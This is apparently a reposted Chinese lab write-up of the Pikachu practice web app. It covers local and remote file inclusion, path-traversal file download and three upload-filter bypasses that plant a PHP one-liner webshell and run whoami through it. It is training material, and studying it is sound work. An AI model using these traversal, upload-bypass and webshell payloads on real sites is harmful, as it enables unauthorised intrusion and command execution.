pikachu文件包含、上傳、下載


一、文件包含
1.File Inclusion(local)
我們先測試一下,選擇kobe然后提交
發現url出現變化

 

 

 

 

發現可以讀取根目錄下的flag文件,存在本地文件包含漏洞。
2.File Inclusion(remote)
同上,選擇kobe提交,發現url也發生變化
所以這次構造url去包含,我選擇了我的博客園地址 https://www.cnblogs.com/p201721440034
返回結果如下

 

所以遠程文件包含成功。
二、文件下載
打開站點發現提示點擊鏈接就可下載圖片。

 

 

 隨便復制一個下載鏈接,發現

http://172.16.124.129/pikachu/vul/unsafedownload/execdownload.php?filename=lmx.png

不是根據路徑下載,而是通過傳參下載圖片。

於是照常構造payload 

http://172.16.124.129/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../../../../../flag

訪問此鏈接,發現開始下載flag文件,任意文件下載漏洞產生。

 

 二、文件上傳

  1.client check

所以我們首先要判斷是前端驗證還是后端驗證,利用審查元素來判斷。

得到前端js校驗代碼

復制代碼
    function checkFileExt(filename)
    {
        var flag = false; //狀態 var arr = ["jpg","png","gif"]; //取出上傳文件的擴展名 var index = filename.lastIndexOf("."); var ext = filename.substr(index+1); //比較 for(var i=0;i<arr.length;i++) { if(ext == arr[i]) { flag = true; //一旦找到合適的,立即退出循環 break; } } //條件判斷 if(!flag) { alert("上傳的文件不符合要求,請重新選擇!"); location.reload(true); } }
復制代碼

所以此文件上傳過濾可以利用burp來修改,我們先選擇gif后綴的php一句話木馬文件

 點擊上傳,利用burp攔截數據包

 

 修改filename為111.php點擊forward

 上傳成功,路徑為uploads/111.php

所以我們構造payload直接執行命令

http://172.16.124.129/pikachu/vul/unsafeupload/uploads/111.php?a=whoamil

2.MIME type

同上,但是這次通過查看審查元素,沒有發現有前端驗證,然后根據測試發現只能傳圖片文件,但沒有檢測文件名。

 點擊上傳。

//只通過判斷Content-Type: 字段來確定文件類型 //修改filename即可 Content-Disposition: form-data; name="uploadfile"; filename="S4tan.php" Content-Type: image/jpeg

發現PHP文件上傳成功

 上傳路徑為

http://172.16.124.129/pikachu/vul/unsafeupload/uploads/a123.php

同上,payload為

http://172.16.124.129/pikachu/vul/unsafeupload/uploads/a123.php?a=whoami

3.getimagesize

同上,經過判定無前端驗證,提交一句話測試。

 發現服務器判定文件為假圖片,根據此漏洞名可以判定為,此上傳過濾依靠文件大小進行判定,將一句話木馬拼接在圖片后面。

 生成了一個圖片馬,但是服務器端將你上傳的文件進行重命名了,所以要想此文件被解析成php文件,我們只能利用文件包含漏洞去包含圖片馬。

利用之前文件包含漏洞的payload去包含此圖片馬,構造payload

http://172.16.124.129/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2019/12/19/8653725dfb71073ffa8429484095.jpg&submit=%E6%8F%90%E4%BA%A4\

執行whoami

發現執行成功。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM